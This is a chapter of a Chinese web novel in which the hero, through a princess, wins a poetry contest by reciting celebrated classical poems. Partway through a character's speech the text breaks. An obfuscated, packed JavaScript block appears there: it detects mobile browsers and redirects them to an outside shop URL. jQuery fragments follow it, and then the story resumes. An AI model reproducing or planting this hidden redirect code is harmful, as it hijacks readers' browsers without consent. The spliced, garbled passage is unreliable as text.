第96章 神作

作品:《夫人请卸甲

    “好气魄!”


    “果然是真才子风范!”


    “快!快开始!我都等不及了!”


    不少才俊已经饥、渴难耐了。


    陈子安脸色更沉,李慕白眼中战意则更加高昂起来……


    就在这时。


    诗社那位白发主事作为公证,颤巍巍走到场中,宣布规则:“既是斗诗,便由挑战一方先行出题,限定题材、意境或关键字眼,双方须在小半炷香内成诗。”


    “随后,由在场诸位共同品评高下。可轮流挑战,亦可指名较量,香尽诗成,过时不计。”


    早有仆役捧上精致的铜制香炉,插上一支细短的线香。


    “既然是由在下提议斗诗,那便由在下抛砖引玉。”


    陈子安当仁不让,率先走出。


    他略一沉吟,决定先以一个相对传统但能显功底,也给自己留有发挥余地的题目试试水,同时观察对方深浅,道:“今日秋高气爽,便以‘秋思’为题,作七言绝句。请小宁子兄台赐教。”


    题目既出,仆役点燃线香,一缕青烟袅袅升起。


    场中顿时安静下来,所有人都屏息凝神。


    陈子安负手在场中缓缓踱步,眉头微蹙,作苦苦思索状。


    他不是没有准备,但原计划是用来压轴或对付他人的,此刻不得不提前拿出。


    片刻后,他停下脚步,抬头望天,朗声吟道:


    “西风萧瑟满汀洲,客子登临独倚楼。


    故园千里音书断,雁阵惊寒又一秋。”


    吟罢,他微微舒气,看向众人。


    平心而论,此诗紧扣“秋思”,以“西风”、“汀洲”、“客子”、“独倚楼”勾勒出萧瑟秋景与孤独身影。


    后两句“音书断”、“雁阵寒”进一步深化羁旅思乡之情。


    格律严谨,对仗工整,意境萧瑟苍凉,算是一首标准以上的佳作。


    充分展现了陈子安作为“解元”的诗词功底。


    场中立刻响起一片掌声与赞叹。


    “陈解元果然诗才敏捷!短短时间,便成此佳作!”


    “意境苍凉,羁旅之思跃然纸上,好诗!”


    “起承转合,颇见功力!”


    几位诗社主事也微微颔首,显然认可。


    陈子安的支持者们更是面露得色,仿佛已胜了一筹。


    陈子安自己也恢复了部分自信,朝四周拱手谦逊,目光却瞥向高处静室,隐含几分挑衅之意。


    所有人的目光随之聚焦到静室方向。


    静室内,平阳郡主赶紧展开纸笺,随后脸色微微一变……


    这些诗……


    她回头深深地看了眼宁默,感觉他……强的可怕!


    “兄台,接下来交给我吧!”


    平阳郡主底气十足,直接走出静室。


    伴随着线香燃烧,众人也在焦急的等待……


    就在这时,只见那“青衣公子”依旧从容,不慌不忙地站在栏杆前,没有任何废话,直接朗声道:


    “枯藤老树昏鸦,小桥流水人家,古道西风瘦马。夕阳西下,断肠人在天涯。”


    此诗一出,满场先是一愣……


    这并非传统的五言或七言诗,句式参差,更像是曲词小令!


    但紧接着,那简练到极致却又意象高度密集,画面感极强的句子,如同带着寒意的秋风,瞬间席卷了每个人的感官!


    枯藤、老树、昏鸦、小桥、流水、人家、古道、西风、瘦马……


    九个名词,九种意象,无一字写情,却将秋日黄昏的萧瑟、荒凉、孤寂渲染得淋漓尽致!


    最后“夕阳西下,断肠人在天涯”点题。


    一个漂泊无依的旅人形象,与前面所有景物融为一体,那种深入骨髓的孤寂与哀愁,力透纸背!


    这与陈子安那首工整,但意境略显空泛和刻意的七绝相比,这首小令更像是信手拈来的眼前实景,与心中真情自然交融。


    可谓是浑然天成,艺术感染力何止强了数倍!


    在短暂的寂静后,惊呼声轰然炸响!


    “这……这是曲?”


    “我的天!枯藤老树昏鸦……小桥流水人家……这画面……我仿佛亲眼看见了!”


    “字字如画,句句含情!无一字直接写思,却思情满溢!”


    “这等凝练,这等意境!这才是真正的‘秋思’!直击肺腑!”


    “高下立判!简直是云泥之别!”


    “小宁子公子大才!吾等拜服!”


    赞叹声、惊呼声、拍案叫绝声几乎一边倒地响起。


    许多原本对陈子安诗作点头的人,此刻也面露震撼,不由自主地比较,然后纷纷摇头叹息。


    几位诗社主事更是激动得胡须颤抖,反复吟哦“断肠人在天涯”,眼中满是惊艳。


    陈子安脸上的笑容瞬间僵住,血色褪尽,方才恢复的一点自信被击得粉碎!


    他站在那里,只觉得周围那些惊叹对比的声音格外刺耳,仿佛无数根针扎在身上。


    他张了张嘴,想说什么,却发现自己在那首小令面前,任何辩驳都显得苍白无力。


    雅间内,三夫人沈月茹听到这首诗句后,紧攥的手猛地一松,随即又因激动而微微颤抖。


    她心中不由地浮现出些许骄傲,同样也有深深地折服。


    只有她知道,宁默经历过怎样的绝望,才能写出如此刻骨铭心的句子。


    二夫人柳含烟则彻底失神,手中的团扇滑落在地也浑然不觉。


    大夫人周崔氏也忍不住轻叹一声,此子诗才,已然通神!


    女儿的眼光……


    好!


    此刻,李慕白再也按捺不住,他猛地一拍身前案几,长身而起,正色道:“好!好一个‘断肠人在天涯’!苍凉入骨,李某佩服得五体投地!”


    他眼中再无对陈子安的一丝关注,只有对更强对手的灼热渴望,道:“小宁子兄台!李某平生最爱豪放不羁之作!便以‘酒’与‘豪情’为意,不拘体裁格律,但求痛快淋漓!请兄台赐教!”


    他这题目出得宽泛,却更见难度,需要极强的想象力和气势驾驭。


    新的线香点燃。


    李慕白自己也是豪迈性子,略一思索,便有了想法。


    他大步走到场中开阔处,仿佛面对千军万马,昂首吟道,声若洪钟:


    “匣中长剑夜自鸣,意气干霄百尺楼。”


    “醉里挑灯看吴钩,男儿何处不封侯!”


    吟罢,他仿佛未尽兴,又补充道:“此诗乃李某心中抱负!匣


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17267402|198102||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    中剑鸣,是为不平,百尺楼头,壮志凌云,醉看吴钩,热血未冷,男儿在世,当建功立业,觅取封侯!”


    这首诗借酒抒怀,以剑言志,风格豪迈激昂,充满一种边塞诗的余韵和建功立业的渴望。


    非常符合李慕白这种剑客诗人的身份,当时也引得场中一片喝彩。


    “李公子好气魄!”


    “醉看吴钩,男儿热血!当浮一大白!”


    “诗如其人,豪迈不羁!”


    连一些年长的文士也点头赞许,觉得此子颇有气概。


    李慕白自己也颇为满意,豪气干云地看向静室,等待对手的回应。


    这一次,静室方向沉默的时间似乎稍长了一点点。


    就在香即将燃尽三分之一,有人开始窃窃私语时,那“青衣公子”才再次走了出来。


    然后,她高声吟道:


    “君不见黄河之水天上来,奔流到海不复回。”


    “君不见高堂明镜悲白发,朝如青丝暮成雪。”


    “人生得意须尽欢,莫使金樽空对月。”


    “天生我材必有用,千金散尽还复来……”


    诗句如同九天银河倒泻,又似惊涛拍岸。


    那宏大无比的时空意象,那渗透骨髓的生命慨叹,那极度自信豁达的人生态度,以及贯穿其中的澎湃酒意与豪情……仿佛共同构成了一股震撼灵魂的洪流!


    与李慕白那首具体抒写个人抱负的豪迈诗相比,这首《将进酒》所展现的,是一种俯瞰人生、睥睨时空的终极豪情。


    是一种融入天地、与万物共饮的磅礴气概!


    其境界之恢弘,气象之浩大,情感之奔放,语言之瑰丽,完全不在一个层面上!


    静!


    死一般的寂静!


    整个梅园,第三次陷入了绝对的、落针可闻的寂静。


    所有人都呆住了,痴痴地听着,仿佛魂魄都被那诗句给震散了。


    许多人张大了嘴巴,却发不出任何声音。


    有些人则闭上了眼睛,浑身颤抖,沉浸在诗句带来的巨大冲击中。


    不知过了多久,才有了一声嘶哑的惊叹声响起:“神……神作!此乃神作啊!!”


    话音落下,诗会现场一片轰动!


    “黄河之水天上来……我的老天爷……这是何等想象!”


    “朝如青丝暮成雪……时光无情,人生短暂,写绝了!”


    “人生得意须尽欢,莫使金樽空对月……洒脱!极致洒脱!”


    “天生我材必有用……千金散尽还复来……这是何等的自信与豪迈!”


    “听了此诗,方知何为‘豪情’!李公子之诗,如同萤火矣!!”


    “吾等今日能闻此诗,不枉此生!不枉此生啊!!”


    许多文士激动得热泪盈眶,反复诵念着“天生我材必有用”,仿佛从诗句中获得了无尽的力量。


    李慕白本人,更是如同泥塑木雕般站在原地。


    他脸上的豪迈之色早已被无与伦比的震撼与激动取代。


    他听着那诗句,只觉浑身血液沸腾,仿佛每一根骨头都在共鸣!


    那诗中的豪情,比他炽烈百倍。


    那诗中的豁达,比他通透千倍,那诗中的气魄,更是他毕生难以企及!